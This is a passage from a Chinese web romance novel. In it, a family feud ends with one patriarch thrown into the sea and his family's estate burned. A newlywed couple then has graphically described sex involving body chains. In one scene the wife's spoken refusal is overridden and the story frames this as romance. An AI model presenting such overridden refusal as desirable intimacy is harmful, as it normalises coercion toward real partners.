是林砚棠搞什么领域上的科研不好?非得在国外一次商业晚宴上恰巧偶遇过宁琛启后,就秘密去研究抑制性瘾病症的药剂,还不是为了攀附权势滔天的宁家? 是林砚棠要不小心被他发现这件事的。 林家和秦家强强联手在港区多年,连彼此的孩子都指腹为婚。 林砚棠却为了自己家族另有谋算,那也怪不了他野心勃勃惦记上那份珍贵的药剂数据,也都怪这世态把很多东西变得不再纯粹…… 秦熠安身为家族之主心中亦是有抱负,不愿再把家族希望又寄托在林砚棠的仁慈上,虽然整整十几年里,他也有过无数个夜在脑海中推演过那场爆炸。 可无论怎么推演,林砚棠必死,秦家往后才能高枕无忧。 秦熠安自认为已经念及情分,至少他当年举家搬到泗城后,把港区的一切生意资源都让给了盛明璎独占,也没有对林家孤儿寡母赶尽杀绝。 可如今,盛明璎望着他的眼底不留存一丝一毫情分的温度,“你下地狱去跟林砚棠忏悔吧。” 下一秒,麻木的秦熠安就被两名保镖左右强势地架起,直接朝这片深海推了下去,海浪从他灰白的脸猛烈地拍打而过,犹如千万根针扎,冰冷的痛苦感觉瞬间像是罪人脸上的刺青一样划过。 如天罚,他犯下的罪孽。 盛明璎像是冰冷雕像般一动不动坐在沙发上,直到游艇朝岸上开,她抬头,疲倦而平静地望着遥远海岸线的夜幕上逐渐升起的无尽璀璨星辰。 人类是那么的渺小。 小到出门一趟怎么就在这个浩瀚宇宙的世界上再寻不到踪迹了呢。 盛明璎那张多年美艳半分不损的脸上恍惚到犹如陷在回忆里,无人时才会愿意流露出一丝丝痛苦情绪,她不想做这大权在握的林家掌权人,也不想做一个合格的母亲。 她想做林砚棠的妻子。 只是林砚棠的妻子…… 随着星辰淡去,转而到乌云散露出了天光。 秦熠安水性极佳在冰冷海里飘泊了一夜,全身近乎竭力后才跌跌撞撞地爬上岸,他君子风度没了,银丝眼镜也葬了海底,水珠也沿着苍白阴郁的面容轮廓滴落下来。 过许久。 秦熠安才直起身,隐忍着膝盖骨的尖锐刺痛一步又一步地往前移动,他把海水渗透了层层衣料的西装外套脱了扔在路边,只穿着湿漉漉衬衫和长裤继续朝前…… 像是丢弃了某种名为欲望的厚重枷锁。 一身轻松,犹如年少时。 他往记忆深处那排排冠大荫浓的榕树大道走,天光落到了一地,神智恍然间,仿佛看到了前方的芸芸众生中,有一抹似雪若白玉的身影尤为醒目停驻下来。 “砚棠……”秦熠安沙哑叫唤。 等等我。 紧随而来的,是车子车胎狠狠尖锐的划过道路声响,可他面容苍白却沉静的站定在死亡地界,没有回头也没有慌乱的闪躲开,或许,这便是命运最好结果。 一生一次,再不能回头。 …… 秦熠安死于意外车祸。 早晨六点左右独自出现在海边的道路上,被一辆酒驾失控的私家车撞倒在护栏上,抢救无效当场死亡。 而在此同时,林曦光和林稚水联手把秦家根基烧了个精光的消息也迅速地传遍整个豪门圈。 这简直是爆炸性的新闻! 毕竟秦家在豪门的地位也不容小视,还是众所周知依仗了宁家老爷子多年的忠臣,就这么在与林家的斗争中无情走向了毁灭结局。 霎时间,众人对林稚水先前足不出户的闺中娇气小姐形象瞬间进行改观—— 烧光秦家都可以不用一个字的任何理由。 生怕哪天: 无意中得罪了这位“宁太太”,也被她雷霆之火烧一次。 第45章 清晨,熟睡中的林稚水被突如其来震个不停的手机给惊醒,迷迷糊糊摸过来一看,不是眼花,屏幕上弹出了一群请求添加的“新好友”。 她从被窝里坐起来,宁商羽不知何时起床出门了,另一边除了他高大身躯躺过的痕迹外,体温已经在床垫上消散得差不多。 林稚水歪了过去,先霸道地占据他私人领地,随即,才指尖轻点同意,挨个把这些宁氏家族羽字辈的少爷们都加入微信好友。 紧接着手机又震了一下,对话框里多了好多条打招呼的消息。 林稚水那双茫然的清透眼睛都快看不过来,索性挑了个略微熟悉的名字开始回复,便点开了来自宁赐羽的消息: 【尊敬美丽又善良的小仙子嫂嫂,请问你是否需要再添一位兼顾保镖陪玩又风趣幽默的司机?】 啊?! 林稚水虽内心猜测到了宁氏这个家族的男性成员都是类似危险的猛兽属性,彼此间攀比好斗心很重,派系的关系更是微妙至极,又偶尔兄友弟恭的,总之在外全部都是以高调傲慢著称的凶名,随便挑一个出来都不是好招惹的。 只是没料到连小小司机的身份都要争抢一番。 而林稚水更不知她林家火烧秦家的事迹一夜之间就已经在自称是宁商羽权力帝制统治下的奴隶家族群里被迅速传播开了。 各种越传越烈的版本都有。 都逃不过一个:她的地位如今比宁商羽权力天平上任何一个利益的码都重几分。 因此,才引来了这群自称给自己设非常高洁的道德标准。 同时又精力旺盛,兴风作浪行为极端,奉行着暴力美学又渴望被尊敬兄长大人救赎的狂信徒们。 …… 林稚水花了一大清早时间很有礼貌回复完微信上的全部消息后,才懒洋洋起床,等洗漱完下楼,外面那片落羽杉树叶缝隙直射进来的阳光已经很强烈了,斑驳而耀目地洒在了一尘不染的地板上。 她避着光,身子蜷在那张舒适极宽的沙发上,随即拿起玻璃杯解渴时,正好先前听从吩咐处理干净秦家残局的奚宴给她发来了最新情况。 林稚水表情平静地点开。 三天时间。 虽然各大豪门家族私底下都知道那栋建立在权贵圈土壤之上的秦家被摧毁,真正是出自谁人之手。 但秦晚策还是给秦家保留了最后的体面,对外宣称是意外失火。 然后先断了家族企业在生意场上的全部合作,又把秦熠安名下遗留的资产都免费捐赠了出去,不仅如此,甚至公开登报改姓—— 他自愿剔除了秦姓,也没遵循母亲的姓氏,只是保留了晚策二字。 秦晚策这一行径让外界各方的猜测变得扑朔迷离了起来,毕竟一把轰轰烈烈的滔天大火烧毁了一个家族的几十年根基,他身为长子,不找林家姐妹讨个公道,却像个局外人一样冷血无情地做出了大逆不道选择。 竟把自己给逐出族谱了!? 而秦晚策始终对那晚发生的事缄口不言,谁来试探都无用。 至于被林家放逐自由的秦晚吟如今没了家族依仗,一手靠不计成本的巨额资金打造出的研究团队自然也原地解散。 她只能姓秦。 意味着放眼望去整个豪门无人敢冒着公然挑衅宁家权威的一丁点儿风险,赌上自家前程去给她一个容身之所。 秦晚吟从云端跌落犹如地狱的泥潭还没彻底适应过来,只能去找好姐妹闵谷雪暂时庇佑难关。 “晚吟,我很开心你还能想到我。” 闵谷雪刚拍摄完杂志广告,拖着华服还坐在化妆室的镜子前,先一步清空了无关人员,继而,拆卸耳环时,漫不经心地对着精致妆容也敷不住面色憔悴的秦晚吟说:“只是我团队的人各司其职,也有专业人士替我打理投资领域,实在没有合适的职务给你……不如就先委屈你来当我的生活助理?” 秦晚吟愣怔了几许。 闵谷雪虽然觉得秦家下场令人唏嘘,却不蠢笨,特别是她先前经历过林曦光掌嘴一次后,得了血淋淋教训也认清林家姐妹如今是绝非能轻易惹得起的。 而且秦晚吟是什么为爱偏执性子,闵谷雪最为了解不过,哪怕这番话显得人情凉薄了些,却是实在犯不着把在娱乐圈拼搏多年的全部身价交付给她投资管理。 不然哪天一觉醒来,又怎知秦晚吟会不会疯到丧心病狂把她的金钱当垫脚石用? 给个助理身份,已经是仁至义尽。 秦晚吟透过对面化妆台的镜子看清闵谷雪那张展现得很直观的冷漠面孔,一时间,再也没有任何言语。 …… 林稚水这边还收到了一份秦晚策整理秦家封存在银行保险柜里东西时,从而意外发现的一张旧照。 照片中背景是在港区浅水湾的复古英式建筑茶餐厅,有两个容貌都极出众的男人正悠然自得坐在裹着浓绿树旁的露天桌前谈论什么,这幕画面,被人暗中抓拍定格了下来。 林稚水干净的指尖拿着不动,垂眼的视线第一时间就认出了古典温柔眉眼的是自己父亲林砚棠。 而在他对面身材挺拔悍利的那位,也好辨认。 宁琛启除了端起咖啡杯的左腕间戴着刻着家族徽名的手表之外,他极盛的精致五官中每一样单独拆出来,都跟宁商羽极为神似,只是气质稍显成熟一些。 林稚水心底推理了会儿时间,发现宁琛启是晚于她父亲一年意外发生空难事故的,也就是等于,宁家上一任掌权人竟在三十不到的年龄就突然离世—— 宁商羽六岁起就没了父母成了孤儿? 好像比她还更惨点。 林稚水散发的思绪已经飘远到没边了,直到落日时提前归家的宁商羽走近,不轻不重地捏了她后脖一下,没有卸下的冰冷指环贴着那白嫩柔软的皮肤上,触感透着股危险感的坚硬,瞬间让她清醒过来。 而此刻,宁商羽已经动作漫不经心地把这张照片,从她白细手指间抽走看了看。 睁着眼仔细观察他的神色似乎不意外,很快林稚水就意识到秦晚策选择把这个交出来时,宁商羽明显已经知晓过了一切,才被奚宴呈到她面前来。 “商羽。”林稚水软绵绵似的趴在了沙发手扶上,仰着头说话:“你说,如果我们的爸爸都还在,我们是不是很小很小的时候就会认识?” 宁商羽居高临下落在她那双琉璃色的眼睛几秒,似笑非笑地看着,也不说话。 林稚水也只有几秒,眉心已经有小情绪微微蹙起了:“完蛋了,我们才新婚不到半个月,你就喜新厌旧对我这个弱小无助的妻子没话说了么?” “喜新厌旧这四个字从何而来?”宁商羽话落地,随意解开西装的纽扣,透着几分慵懒气质朝她旁边坐,又一边说:“何况认识的再早,兴许某人一回家就抛之脑后了,又怎么会记得在外面见了谁。” 他手臂要来抱人,这会儿林稚水才不要被抱,裙摆下的小腿轻抬,抵在了两人之间,又微微抬起下巴:“我从小记忆力超好,只要见过的人就不会忘记……说不定是某人脾气傲慢,才懒得去记住在外面都见了谁。” 林稚水把调侃的话原封不动都还给了宁商羽,还不忘一再强调自己记忆力,却也心知这种脱离现实的幻想假设是永远不会存在的。 与此同时,她最终还是落入了宁商羽的手掌,被抱了过去。 “我们这样像不像两个缺爱的孤儿报团取暖?” “……” 看他面无表情,林稚水却反而愈发依赖在眼下充满安全感的胸膛前,又轻轻地说:“我爸爸被秦家盗取的那份科研成果已经彻底丢失,林家的数据机密库没有寻找到……奚宴告诉我了,秦晚吟所谓的新型药剂也是造假的。” 秦家倒台。 宁徽诏眼里没有跟秦熠安的半点主仆之情,在乎的只有秦晚吟口中那个聘请出山的老教授,谁知对方是研究了多年不错,却没有非常全面的抑制性瘾数据成果。 这也是为何秦晚吟说要半年时间药物疗程。 半年时间。 是城府极深的谋算好了先把林家婚约夺到手,继而,等真正治疗时还可以用诸多借口来谎称可能是宁商羽的基因太罕见特殊,又或许效仿其父的狠辣手段,直接让老教授“意外”身亡。 只要不被宁徽诏发现真相怪罪,秦晚吟就始终借老爷子的遗憾……博得一线机会。 偏偏她爱上的是宁商羽。 林稚水回想了片刻,又轻声问:“你是不是早就猜到秦晚吟不可能研究出?” 宁商羽这般骄矜的冷漠性子自然是从不受任何人胁迫,轻嗤了声道:“研究出来又如何?” 林稚水睫毛眨了眨,却掩饰去了眼底的隐晦细微情绪。 先前没领证之前,她懵懵懂懂的没意识到对宁商羽的感情变化,只知道和他相处在一起很舒服,身体也本能地被那股生命力吸引着。 后来婚约险些出变故后,被一激,反而对宁商羽的感情清晰了起来,好像只要看到他,脑海中便自动有一个霸道强烈的念头在说:“这是独属于我的。” 林稚水出生前就被动的失去了很多珍贵东西,无论是父亲还是健康自由……所以她性子渐渐养成了格外珍惜在这个世界上,能有幸拥有到的。 她想到这,指尖故意垂下,去点那黑西装裤的熟悉轮廓:“唔,那我的小老公怎么办呢?” 宁商羽把欲望说得天经地义:“不是有小宁太太么?” 小宁太太??? 他倒是会效仿她的用词!! 林稚水慢悠悠勾描着那料子的危险暗纹,察觉出暗纹逐渐开始便热,心想随便一碰就这样了,加上他每次时长还久。 就算有小宁太太……可小宁太太身娇体软,也禁不住那种程度的亲密接触。 于是林稚水微抬头,用微凉鼻尖碰了碰宁商羽的鼻梁,然后顺着滑下,轻轻柔柔的去贴着他嘴唇亲:“宁商羽,你要是个好老公,就手下留情我一条小命吧。” “想要小命还一直摸着不放?”宁商羽话里像是不懂怜惜般,强势地又扣住她突然想收回的白皙手腕,威逼利诱一样让她解衬衫纽扣:“管管上面。” 林稚水本能地挣了挣手腕,发现没用,便乖乖地为他宽衣解带了,也任由宁商羽另一只存在感极强的手掌往她膝盖探上去。 两人都为彼此尽心尽责夫妻义务,直到林稚水指尖无意间滑过宁商羽线条完美胸膛上的那抹红色,发现他虽气息很稳,却突地敏感住似的,喉结都在用力上下滚动。 她犹如发现新奇的点,用修剪圆润的粉嫩指甲去轻轻勾了一下。 宁商羽眼神瞬间变得极其幽深,要把她这幅身躯的灵魂锁住似的。 “要亲吗?”林稚水活动的指尖微蜷起来,胸口反而靠近过去,润白的柔软肤色和他的结实线条碰出了鲜明的对比,而她一歪脑袋,满脑子的坏水儿就藏不住了,故意给出选择:“上面和下面,只能选择一个。” “林稚水。”宁商羽毫不在乎自己的敏感点暴露于她面前,危险又致命的嗓音溢出:“你就是这么温暖缺爱的孤儿?” “……” 林稚水这会可没把他当孤儿同情心泛滥,而是当成了先前用那条领带捕获到的狮子。眼下更是想用另一种犹如看不见的锁链法子把他套住。 “宁商羽。”她也礼尚往来叫他,慢吞吞地拉长尾音:“你贪心都想要也可以呀,那我们结婚的协议里,多添一条安全词好不好?” 宁商羽托着她,稍微往上一点,清晰地传达出旺盛精力,似笑非笑地落下一句: “继续,我在耐心操、你的时候,你准备设置什么安全词?” 无论是这番话还是举动,他都在强有力地攻城略地,林稚水呼吸轻浅急促了起来,却还没被完全蛊惑,发了几秒钟的怔后说:“安全词不够彻底保险,我真诚的认为,应该给你胸膛上也上一层保险……” 随即,她卷翘睫毛下的视线,隔着空气蜻蜓点水地扫了一下那红珠,得寸进尺起来:“不如你让我往这里锁个小链子好不好?” “嗯?” “这样双重保险下,你要不知节制没完没了折腾我,我痛一下就扯一下链子……”林稚水化为细雾般的柔和音色絮绕在了宁商羽耳边,仿佛要融掉他冷硬的心肠:“扯一下就喊你一句商羽。” 商羽是安全词。 乳链是锁野心勃勃的狮子用的。 宁商羽依旧危险地抵住她,又仿佛还把她像个柔软天真的小动物似的捏在掌心把玩,“你添要求,是不是也该轮到我添一个?” 林稚水慢慢地点脑袋,为了锁狮子,付出点代价也是应该的。 “我想做的时候,你在身边便要随叫随到。”宁商羽说。 “一天不能超过一次。”林稚水心知这副小身板承载不了太多次数他的欲,便很警惕地强调这点,又眉心轻蹙起来说:“也不能超过十小时。” 宁商羽笑了声,还抽出修长的手指,摸了摸她脸蛋。 虽然什么都没说,却是默许了两人在新婚后商议的这些内容。 林稚水内心充满期待,连今晚被宁商羽低声诱惑着,先是在那红珠周围留下一个圈一个的新鲜齿痕,再往下,又留下小印子。 她都毫无怨言的配合着,咬他…… 又偶尔走神下嘴重了一点,雪白齿尖传递来的清晰感觉让宁商羽修长脖颈青筋浮起了瞬,喉咙紧接着滚出了更暧昧的低喘。 原来他呼吸也会喘啊。 喘的真好听! 林稚水第二日还能有力气下床出门,只因她配合完,就不跟宁商羽继续去楼上做了,而是张口就坚称有更重要的事情做,拿手机跑到主卧偷偷的联系了一下万露。 她虽然突发奇想张口就提起小链子,却不知道有没有这个东西……没有的话,只能请无所不能的万老板私人订制一个。 所幸是有的。 还有男士专用的那种乳链。 等跟万露那边秘密聊完消息。 林稚水已经迫不及待地想锁狮子,自然半刻都不耽误的早起后就立刻返回港区。 而午后时分的裁缝店客人零星稀少,进门时,万露藏身在白珠帘子后,亲自正整理着盒里满目琳琅的精美链子。 见林稚水准时来了,万露细描的眼角上挑妩媚动人:“你这小坏水,近日在贵妇圈里算是出了名了,来我这儿的客人,十个里有九个都是私底下八卦你事迹的。” 林稚水的视线第一时间往那盒里滑过,等抬手掀起白珠帘子,却表情故作淡定对万事灵通的万老板说:“哦?都八卦了我什么?” “无非就是那些陈年芝麻烂谷子的旧事。”万露倚在雕花红木柜台边,仔仔细细端详了一番林稚水全身上下,忽而意味很深提起:“不过你竟然主动问我要这个玩情趣,看来跟宁家那位夫妻生活很和谐啊?” 林稚水微微的笑,心想,分明是不和谐才要的…… 她墨绿色裙摆下的脚步漫不经心往前,待距离彻底拉近后,她垂落的那双干净清澈的眼也不掩饰什么,满是新鲜感:“这么多吗?” “有长有短。”万露纤长的手指勾起一条镶钻着金铃的链子递给她,在自然光下反射着耀眼光泽,语气轻飘飘的暧昧暗示道:“长也有长一点的玩法,往身上戴……骑马奔腾想停下时,总要拉一下缰绳的。” 林稚水抱着研究的学习心态接了过来,晃了晃,金铃悦耳轻响。 万露又说:“短的呢,你想一个西装暴徒绅士解开衬衫,胸膛上竟悬挂着这个,是不是格外令人赏心悦目?” 还是万老板有门道。 林稚水脑海中自动勾出了一张香艳图,然而,那不施粉黛的脸蛋露出圣洁无比的笑,指尖轻轻朝柜台这些私人情趣物品划了一圈:“全部我都要了。”每天不重样的锁狮子玩。 怎料,万露指向了其中一个浓暗的红色雕花木盒,说:“这些里面的不能给你,已经有位客户预订走了。” 林稚水茫然歪头。 万露是跟她亲近无间的,奈何以前盛明璎严禁她到处乱跑,特别是偶尔来裁缝店一趟,回去连头发丝都没放过消毒一遍完了后,还会病。 久而久之,万露得知的许多豪门八卦都没个机会跟她分享。 眼下林稚水这双眼看中之物,却因店里生意要被无情分一半出去,万露对她心中有愧,便神秘兮兮地透露了几句:“深城裴家有个私生女,上上周来我这预订了不少情趣内衣,上上周又来我要了一些闺中秘术教程,上周呢,便是提前订了这些小玩具……” 裴家?林稚水以前在家中依稀有听姐姐提及过一次这个家族,略有点儿印象,是因裴家私生子女特别多,却好像只有一个正经血统的女儿。 万露慢悠悠地说:“那个私生女叫裴观若。” 林稚水指尖捻着触感冰凉的链身,摇了摇头:“没听说过。” 既然已经被裴观若订走了一半,林稚水从不爱为难人,便很满足地要走了另一半,她在万露这儿待了片刻,一杯茶都没喝完,便告辞:“我要回泗城了。” 万露故意取笑她:“这么心急啊?” 林稚水表情无辜,收起东西就假装无事发生似的,继续微微笑着:“是呀,我心急着回去陪宁商羽吃饭呢,没办法,他只要离开了我一时半刻就闹绝食,吃什么美味佳肴都食之无味。” 万露:“……”这小坏水!嘴巴越来越爱胡说八道了!! 林稚水回去时天色已晚,晚餐肯定是赶不上和宁商羽一起用,等进别墅后,她先去楼上洗澡换了身真丝睡袍,然后趿着拖鞋去找人了。 书房紧闭的门被轻轻推开。 宁商羽正气定神闲地坐在书桌前翻看文件,对她闹出点儿动静靠近,也没抬起眼皮。反而林稚水大胆地往他大腿坐,不安分地将指尖隔着衬衫料子,顺着他线条结实的腹肌向上循序渐进地滑动,用尾音在问:“你什么时候回床上陪我?” 宁商羽起先是端坐,被美人热情投怀送抱,便靠在了椅子上,故意学她问,“想要了?” 昨晚义正言辞不要的是她。 林稚水今晚为了锁狮子,睁着一双纯洁的眼睛,却故意卖关子:“我想要什么,你都给吗?” “看你同意让我进去多少。”宁商羽说。 第46章 宁商羽从不掩饰这具高大身躯勃勃鲜活的欲,说完,便好整以暇地等待着她拿出同等交换的诚意。 “我们友好接触一下不行吗?”林稚水绝口不提同意进去多少的话题,心里很清楚跟宁商羽这种天生的野心家谈判,她只有像个小羊羔似的被吃干抹净的份儿,到头来还得感谢他手下留情了。 问完,林稚水就跟觉得书房室内的空调温度开太冷了一样,将腿蜷起来,恨不得把自己往宁商羽怀里塞进去,意图想把狮子引回主卧,轻且软软地说:“商羽,我需要你履行合法丈夫的义务为我提供哄睡服务……不然我要没睡好,身体抵抗力就会跟着下降,到时候弱弱病病的,你只能靠打针抑制了呢。” 话落地,她那漂亮脸蛋还配合着露出爱莫能助的无辜表情。 宁商羽修长指骨微痒,动了想去揉的念头,下一刻,也确实不露声色地抚摸上了,沿着在灯光下的柔和轮廓描摹到了眼尾的痣,低笑了声:“威胁人都不会,听起来倒像是在撒娇。” 林稚水刚要反驳,却被他倏地往下移的指腹探入到了微张的唇间,带来的温度太高,漫不经心地抵着她雪白牙尖。 说不出话了,呼吸却逐渐变得湿热起来。 显而易见,宁商羽没有打算跟她仅限于友好接触一下,而是对昨晚咬他那事上了瘾,“善善,给点诚意。” 林稚水这个倒是没有犹豫片刻,心想咬人而已,还是很擅长的,紧接着便主动把宁商羽的衬衫纽扣从衣领开始解,又轻轻触碰锁骨和温度更高的胸肌线条。 宁商羽撤回了食指,转而整个手掌都笼罩在了她的后颈,仿佛一切还是由他主导,透着极其强烈的控制意味。 偏偏自控力也极强,这回林稚水指尖划过那敏感点位置的红珠子,宁商羽就没有立刻反馈出了性感无比的低低喘声。 这狮子很难驾驭啊! 林稚水垂眼凝视了会儿,忽而抬头,对上他犹如被暖色调落地灯衬得瞳孔直接呈现出鎏金色的琥珀眼。 指尖下意识地稍微一用力揉了揉,她很快惊奇的注意到宁商羽眼底的琥珀颜色就愈深起来,看起来很危险,特别是映衬出的热度仿佛能将她和书桌周围的一切都就地给熔化成岩浆。 这是生理欲求被挑起的变化。 林稚水虽然胆大包天,却在身体上是有点儿受不住这种侵略领地一样的眼神注视,心里琢磨起了坏心思,继续在上面轻轻画圈:“你把手从我脖子移开,我跟你说一个秘密。” “你还有秘密?”宁商羽手掌轻轻地摩挲她,没彻底移开,而是沿着纤弱的后背去了,真丝的料子睡袍很滑,却远不及那片雪白。 随即,正当他筋骨匀长的手指要去慢条斯理扯开那束紧的腰带时,已经略散,却恍若水中鱼尾一样游走。 是林稚水指尖改为手心发力毫无预兆地推了他胸膛一把,紧接着起身逃下地,得意的翘着唇角说:“这个秘密就是我要回去睡觉了,你想要诚意,自己来主卧找……” 以防被宁商羽当场抓住,话音还没落地,见他在光线下挑眉,便先一步往书房外跑,玉白的脚踝在衣摆间若隐若现,犹如隔着清晨薄雾,美得活色生香。 等很快回到主卧,林稚水跟自我受惊一遭似的,心脏加快时沁出汗,面颊也透出浅浅的红晕。不过她没在意,而是专注着把摆在床头柜盒子上的精美链子都拿了出来。 像捧着宝贝似的,都给藏在了被褥里,往前中间又推了推,她也爬了过去,然后手搭在腰间,规规矩矩地躺在旁边。 宁商羽还没追来! 主卧内静悄悄的,林稚水没会儿就开始翻来覆去,一会儿面朝落地窗外的落羽杉,一会儿又从那堆东西里,摸索出那条镶钻着金铃的小链子。 她往纤长的柔润食指缠绕了起来,又拉直,伴着细碎的悦耳响声,脑海中幻想着这两端分别挂在宁商羽的胸膛上,而链子上的金铃悬空摇曳…… 还未等继续发散富有丰富色彩的画面想象力,倏地,半掩的那两扇房门开了,林稚水眼尾颤了颤,自动先一步视线捕捉到了宁商羽回房的身影。 他不慌不忙地步近,就站在床边,先看了眼那链子。 接着,宁商羽只是笑了下,便先去浴室洗澡,等随随便便冲了个冷水出来,连一条浴巾都没裹,暖黄的壁灯光影照在沾了细小水珠的肌肉上,无一不呈现出无可挑剔的完美,以及那股散发着浓郁荷尔蒙的滚烫气息。 快把弯曲着膝盖坐起的林稚水给浸透了,而她无辜睁着眼看着宁商羽俯身靠近,听到他嗓音沉缓地说:“原来这就是你的诚意?” “对啊。”林稚水没有躲开,唇齿间开口时是纯粹效仿他私底下爱戏谑人的语调:“给弄吗?” 宁商羽将她指尖摇晃的金链勾扯了过来,饶有兴趣的端详片刻,低声问:“我给弄,你知道怎么弄么?” 瞧不起谁??! 林稚水很快用行动去阻止了他这种居高临下轻视的傲慢观念,气势汹汹地把人往这张大床上压,而自己,就坐在了结实轮廓的腹肌上。 紧接着,林稚水把那条细链子从宁商羽手中拿回来,又在膝盖旁边一堆精美之物里翻翻找找了几秒,手指很快摸到了暗银的装饰钉。 只要把这个尖锐如针的钉子刺穿到上面,就能跟链子完美扣紧,怎么扯都不会轻易掉。 林稚水没实践经验,对此并不熟练,所以真要动手时,又不免细微的颤抖了下,压着那鲜红如珠的地方,顿住。 反观宁商羽很配合,高大身躯格外懒散地躺着,没有阻止她穿孔的行为。 林稚水对准那位置,鼓起勇气想去刺一下又停一下,表情很诚实地说道:“会有点儿痛。” “哦,谢谢你提醒。”宁商羽此时此刻幽深的眼神和慢条斯理的语调丝毫不像是会在意这点痛。 反而显得林稚水有些狠不下心。 毕竟长这么大,她还没坏心眼亲手做过一件见血的事。 空气猝然安静,林稚水眨了眨睫毛,给自己的胆小退缩寻了个合理借口:“我给你准备的惊喜不止这一件,要不你选个喜欢的戴吧。” 那堆金光闪闪的链子款式很多,都有不同隐秘的玩法,至于这乳链,等她做好心理建设再给他戴。 今晚只能意犹未尽地搁浅了计划。 宁商羽视线倏而就落到了她身上,不知不觉那件睡袍早已经凌乱敞开了大半,侧颈乃至于雪白的柔软轮廓都暴露无遗在了空气中,她没有发现,正全神贯注着把精致的钉子翻来覆去地借着光打量,还在颇为惋惜的皱起眉头。 又轻轻一叹,仿佛在怪自己。 不够心狠手辣! 几秒后,宁商羽语气很平淡问:“真让我选?” 还能有假吗?林稚水抬起垂着的脑袋,略懵懂似的看向他,心想其实选个胸链也不错,从他那修长脖颈往下套,沿着整个胸膛跟囚笼一样锁扣起来。 “我有健康生活作息,不陪你玩到后半夜的,快选吧。”半响,她小声催促了起来。 而宁商羽跟她像是彻底同床共枕培养出了心有灵犀的夫妻默契,修长的手指在那堆东西拨了拨,竟真挑中了一条红水晶雕琢出的胸链,极小的珠粒闪烁着光芒,能亮林稚水的眼睛。 她心情感到愉悦,眼尾和唇角都会透出明显笑意:“我来!” “不用,我来更合适。”宁商羽拒绝了她献殷勤,下秒,便直接强势地搂着她互换了个位置。 被那股阴影铺天盖地的笼罩下,让林稚水甚至都没回过神,紧接着阵阵凉意袭来,除了睡袍彻底被褪去外,覆盖在她白瓷似的肌肤上还有那条重量几乎薄如蝉翼的长长细链。 从脖间顺着向下延展,如水浸开,攀附在她胸口和盈盈一握的腰肢,精美到好似雾间滋生出的红玉昙花。 ……她锁住了。 林稚水瞳仁透露着不可置信的讶异,没想到自己的心慈手软换来的是——反被宁商羽心狠手辣的给锁住了。 他就犹如准备进食的狮子,把幼小美味的猎物完全压制在股掌之中。 林稚水想挣扎或是自救已经为时已晚,落地窗的宽敞玻璃清晰倒映着两人密不可分的暧昧剪影。 “宁商羽!” “我不要这样的哄睡服务……哪有你这样倒反天罡的玩法,我拒绝!” 她拒绝无效。 宁商羽先是伸长手臂去打来抽屉,从里面拿了一只装出来,动作慢条斯理地撕开又戴好,紧接着俯低,嘴唇贴着她柔软的耳垂,低笑道:“让你弄,你又不会……宁太太,你的实践课成果有待提高。” “实践成果失败一次又不代表会失败第二次,你现在放开我试一试,我绝对……撕!” 她绝对狠得下心去扎他。 宁商羽已经带着很强烈的压迫感付出行动了,为了观赏她锁在胸口的链子,手臂撑着一些距离,正因此,撞上时,那链子悬坠的红水晶就会摇晃,在暗光叠影里,尤为醒目。 林稚水本就白到毫无瑕疵地步,如今红点变多起来,眼尾有小小的两粒,会跟着她也分不清是极致舒服还是难受露出的表情而晃着。 而身上的,被精巧小小的红水晶一衬托,那抹比痣还艳色的就更多了。 “不能……全部。”林稚水仰头呼吸近乎支离破碎的枕在被褥里了会儿,察觉脚踝让宁商羽的手掌扣住,又提起,好似这样能更方便一点,她心脏跟着猛地跳了几下,过度紧张到去掐他肩膀的肌肉:“三分之二,好不好……只能这么多!” “一下。”宁商羽嗓音被夜色衬着缘故,显得低沉温柔起来:“善善,你看着,头低下来,只一下。” 他想试,试下能不能完整的接纳。林稚水从这话里细微察觉出宁商羽不是打算大刀阔斧的来,松了口气的同时,又感到晕眩。 她睫毛抖的厉害,几许模糊的视线真真切切地看到了他此刻目测还有一大半在外面,随着极其缓慢地推进。 那股难以言喻的滋味随温度蔓延开来,犹如丝丝缕缕的热流淌遍每一寸骨髓…… 快了。 从一大半到近乎再也看不见程度,宁商羽的腹肌也感知到了链子上的红水晶,触感远不及她的莹润,继而,向下压到了……就快一下时。 林稚水眼眶的泪珠滚了下来,连哭出的水都似乎比别人晶莹剔透,像是受到了莫大的委屈,唇齿间反反复复的把“宁商羽你坏死了。”哭骂了好几声! 宁商羽随即没有继续心狠手辣下去,抱紧着这具颤颤的身子,又握住她的手,去摸那雪白无暇的肌肤,腰犹如弯月,太纤细,就容易被撑出明显的凶悍形状。 “没全部。”他让林稚水亲手感受一番,比划了下具体位置。 林稚水脑海中的理智都陷入了焰火似的白光里,也分不清真实长度,总之视线逐渐变得模糊间,觉得随宁商羽的微微动着,自己可怜兮兮的肚子也被吃撑起来了。 “坏……”她发出的声音早就字不成字,无法找到正确的词来形容,细链上的水晶轻轻跟着晃,数个小珠粒,被顶得摇出了悦耳的声音。 而这些细碎的声响一直维持到快三点钟才停歇,室内照明的灯还亮着,但是林稚水已经彻底变得软到无力,也汗涔涔的。 十分钟后。 宁商羽把她抱去浴室清洁,却故意不肯解掉锁着她的链子,用浴袍将人从头到尾包裹起来,又回到了弥漫着闷热温度的大床上。 林稚水现在只能任人摆布,很快,他胸膛带着压迫感又重新贴了上来。 之后发生了什么……林稚水的脑海就跟强烈晕眩到断片似的,完全不记得了,只知道那股伴随着灼烧感的异样刺激了她整宿不得好好睡觉。 隔日醒来时。 宁商羽已经神清气爽的出门了,留林稚水独自躺在这张痕迹斑斑的大床上,回过味来,气到都想直接去报警的程度! 她想锁住狮子失败…… 就因为心软,反而被狮子锁起来往死里折腾了快下不了床!! 果然想成大事者,就不能给自己设定太高洁的道德品格!!! 林稚水单方面决意要狠狠冷暴力宁商羽一段时间,让他也尝试下宁太太的雷霆之怒,这个念头起了后,跟良药似的,连身体的强烈不适都缓解过来了。 早晨时分。 宁商羽有给她发了个消息,内容简洁明了,只是为了提醒早晨六点涂过的药效差不多吸收完了,要谨记继续涂抹。 林稚水没回复。 而宁商羽丝毫没有悔过自新,中午时又直白询问她身体康复情况,有没有消肿…… 此时林稚水已经不在家中,正在跟自称有艺术家细胞审美的宁濯羽去参加一个私人品鉴画廊。 她之所以没有休养而是拖着酸痛的身子会愿意出门,是宁濯羽找来的,声称要拍一幅画送给即将生日的另一位家族成员:宁惟羽。 宁家兄弟太多,林稚水哪怕没有脸盲也患上了,不太熟这位,却把关注点偏移到了:“狮子座的?” “可不是么,我们家就我哥和宁惟羽是狮子座,八月份生日。”宁濯羽懒洋洋的提起。 可惜他是双鱼座,离得远着。 林稚水护短的劲儿瞬间冒上来,语气幽幽质问:“那你很不公平啊,为什么我老公没有礼物?” 